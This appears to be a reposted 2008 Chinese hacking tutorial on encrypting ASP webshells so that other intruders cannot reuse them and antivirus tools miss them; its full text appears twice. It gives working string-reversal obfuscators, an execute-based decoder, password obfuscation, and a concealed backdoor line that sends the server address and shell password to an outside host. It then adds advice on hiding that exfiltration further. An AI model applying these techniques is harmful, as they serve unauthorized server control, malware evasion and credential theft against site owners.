给你的大马加密的实用方法
互联网 发布时间:2008-10-08 19:02:25 作者:佚名 我要评论
大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木马加密
大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木马加密不难,让我们一起踏上大马加密之旅。
一:人工加密 1.主加密函数的编写 1)主解密与解密函数 对大马的加密关键是编写我们的加密函数,然后写出相应的解密函数。我这里先得对几个ASP自带函数有个了解 CHR:将ASCII 字码转换成字符 REPLACE:将一个字符串取代 部份字。 ASC:将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。 Len:取得字符串的长度。 然后对IF语句和一些VBS函数相关知识有个了解。大家有不懂可以查看Windows脚本技术,里面比较详细。 我们先看下一个最常用的解密函数吧。 dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号("),得到Str1,然后通过FOR循环,将加密部分(Str1)逐个取出,将取出的字符倒叙连接成一个新字符,并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛,就连华夏免杀Webshell也用了这个函数 好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下,但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS HTML写的加密网页 ---------->JS HTML加密: <html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i )
{
if(theText.charCodeAt(i)=="13")
{
output="鹏" output;
}
else if(theText.charCodeAt(i)=="10")
{
output ="";
}
else
{
output=theText.charAt(i) output;
}
}
return output
}
</script>
<form name=encform onsubmit="return false;" />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>
保存为html格式然后用IE打开,将需要加密的部分填写上,然后点击按钮"加密到下面文本框" ,就可以得到加密后的字符串了。 上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏,得到Code1,然后将Code1倒序(13和10分别是回车和换行的编码)。比如: Sub RRS(str) response.write(str) End Sub 加密后就为 buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS 写了加密函数后就要写出对于的解密函数,必须用ASP编写 dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鹏" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function
这样我们就可以将ASP中的RRS函数用 execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS")) 代替掉 Sub RRS(str) response.write(str) End Sub 我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马 (2)加密解密函数 直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了 (3)嵌套加密 我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa) 2.密码的加密 大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。 Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1)) Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function
上面的这个加密函数是对每一位密码的数字取ascii码,然后加上Pos & (20080808-Pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa 然后我们把解密后的部分定义为UserPass 然后在验证的地方通过 enPass(request.form("pass"),pn)=UserPass 来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。 3.后门的隐藏技术 怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧,这里我以破小孩后门来解释 RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E1"&chr(39-pos)&""&(4 pos)&"cl"&chr(37)&"34."&chr(37)&"63o"&chr(37)&"6d/%"&(36 pos)&"/?u="&Serveru&"&p="&UserPass&"')"">"
这个和幽月的后门隐藏技术差不多,都是利用了ASCII编码和HTML编码,CHR(37)是"/",我们把它还原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
这里我们可以做的更隐蔽些。 1.我们查找后门的时候一般是利用查找有UserPass的地方,因此,我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou,然后把&p="&UserPass&"换为&p="&canyou&" 2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP,我们利用Right函数来取得Sot(13,0) 右边的4个字符,然后代替后门中的HTTP 二:工具加密 利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了 有了上面的加密知识,相信大家很快可以掌握ASP的解密,方法都是一样的,然后大家就可以玩玩除后门了。
一:人工加密 1.主加密函数的编写 1)主解密与解密函数 对大马的加密关键是编写我们的加密函数,然后写出相应的解密函数。我这里先得对几个ASP自带函数有个了解 CHR:将ASCII 字码转换成字符 REPLACE:将一个字符串取代 部份字。 ASC:将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。 Len:取得字符串的长度。 然后对IF语句和一些VBS函数相关知识有个了解。大家有不懂可以查看Windows脚本技术,里面比较详细。 我们先看下一个最常用的解密函数吧。 dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号("),得到Str1,然后通过FOR循环,将加密部分(Str1)逐个取出,将取出的字符倒叙连接成一个新字符,并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛,就连华夏免杀Webshell也用了这个函数 好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下,但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS HTML写的加密网页 ---------->JS HTML加密: <html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i )
{
if(theText.charCodeAt(i)=="13")
{
output="鹏" output;
}
else if(theText.charCodeAt(i)=="10")
{
output ="";
}
else
{
output=theText.charAt(i) output;
}
}
return output
}
</script>
<form name=encform onsubmit="return false;" />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>
保存为html格式然后用IE打开,将需要加密的部分填写上,然后点击按钮"加密到下面文本框" ,就可以得到加密后的字符串了。 上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏,得到Code1,然后将Code1倒序(13和10分别是回车和换行的编码)。比如: Sub RRS(str) response.write(str) End Sub 加密后就为 buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS 写了加密函数后就要写出对于的解密函数,必须用ASP编写 dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鹏" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function
这样我们就可以将ASP中的RRS函数用 execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS")) 代替掉 Sub RRS(str) response.write(str) End Sub 我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马 (2)加密解密函数 直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了 (3)嵌套加密 我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa) 2.密码的加密 大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。 Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1)) Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function
上面的这个加密函数是对每一位密码的数字取ascii码,然后加上Pos & (20080808-Pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa 然后我们把解密后的部分定义为UserPass 然后在验证的地方通过 enPass(request.form("pass"),pn)=UserPass 来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。 3.后门的隐藏技术 怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧,这里我以破小孩后门来解释 RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E1"&chr(39-pos)&""&(4 pos)&"cl"&chr(37)&"34."&chr(37)&"63o"&chr(37)&"6d/%"&(36 pos)&"/?u="&Serveru&"&p="&UserPass&"')"">"
这个和幽月的后门隐藏技术差不多,都是利用了ASCII编码和HTML编码,CHR(37)是"/",我们把它还原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
这里我们可以做的更隐蔽些。 1.我们查找后门的时候一般是利用查找有UserPass的地方,因此,我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou,然后把&p="&UserPass&"换为&p="&canyou&" 2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP,我们利用Right函数来取得Sot(13,0) 右边的4个字符,然后代替后门中的HTTP 二:工具加密 利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了 有了上面的加密知识,相信大家很快可以掌握ASP的解密,方法都是一样的,然后大家就可以玩玩除后门了。
相关文章
- “CMOS密码”就是通常所说的“开机密码”,主要是为了防止别人使用自已的计算机,设置的一个屏障2023-08-01
QQScreenShot之逆向并提取QQ截图--OCR和其他功能
上一篇文章逆向并提取QQ截图没有提取OCR功能, 再次逆向我发现是可以本地调用QQ的OCR的,但翻译按钮确实没啥用, 于是Patch了翻译按钮事件, 改为了将截图用百度以图搜图搜索.2023-02-04- QQ截图是我用过的最好用的截图工具, 由于基本不在电脑上登QQ了, 于是就想将其提取出独立版目前除了屏幕录制功能其他都逆出来了, 在此分享一下2023-02-04
非系统分区使用BitLocker加密导致软件无法安装的解决方法
很多电脑用户在考虑自己电脑磁盘分区安全时会采用 Windows 自带的 BitLocker 加密工具对电脑磁盘分区进行加密。但有些人加密后就会忘记自己设置的密码从而导致在安装其它软2020-11-25防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生
这篇文章为大家详细介绍了如何才能防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2017-06-27彻底防止计算机泄密、重要涉密人员离职泄密、涉密人员离岗离职前防范举
近些年企业商业机密泄漏的事件屡有发生,这篇文章主要教大家如何彻底防止计算机泄密、重要涉密人员离职泄密、告诉大家涉密人员离岗离职前的防范举措,具有一定的参考价值,2017-06-27- 最近有电脑用户反应量子计算机可以破解下载的所有的加密算法吗?其实也不是不可以,下面虚拟就为大家讲解买台量子计算机,如何分分钟破解加密算法2016-09-26
怎么破解Webshell密码 Burpsuite破解Webshell密码图文教程
webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,一种网页后门。黑客通常会通过它控制别人网络服务器,那么怎么破解webshell密码呢?一起来看看吧2016-09-19- 本文讨论了针对Linux系统全盘加密的冷启动攻击,大家都认为这种攻击是可行的,但执行这么一次攻击有多难?攻击的可行性有多少呢?需要的朋友可以参考下2015-12-28
防止泄露公司机密、企业数据防泄密软件排名、电脑文件加密软件排行
面对日渐严重的内部泄密事件,我们如何守护企业的核心信息,如何防止内部泄密也就成了摆在各个企业领导面前的一大问题。其实,针对内网安全,防止内部信息泄漏早已有了比较2015-12-17
最新评论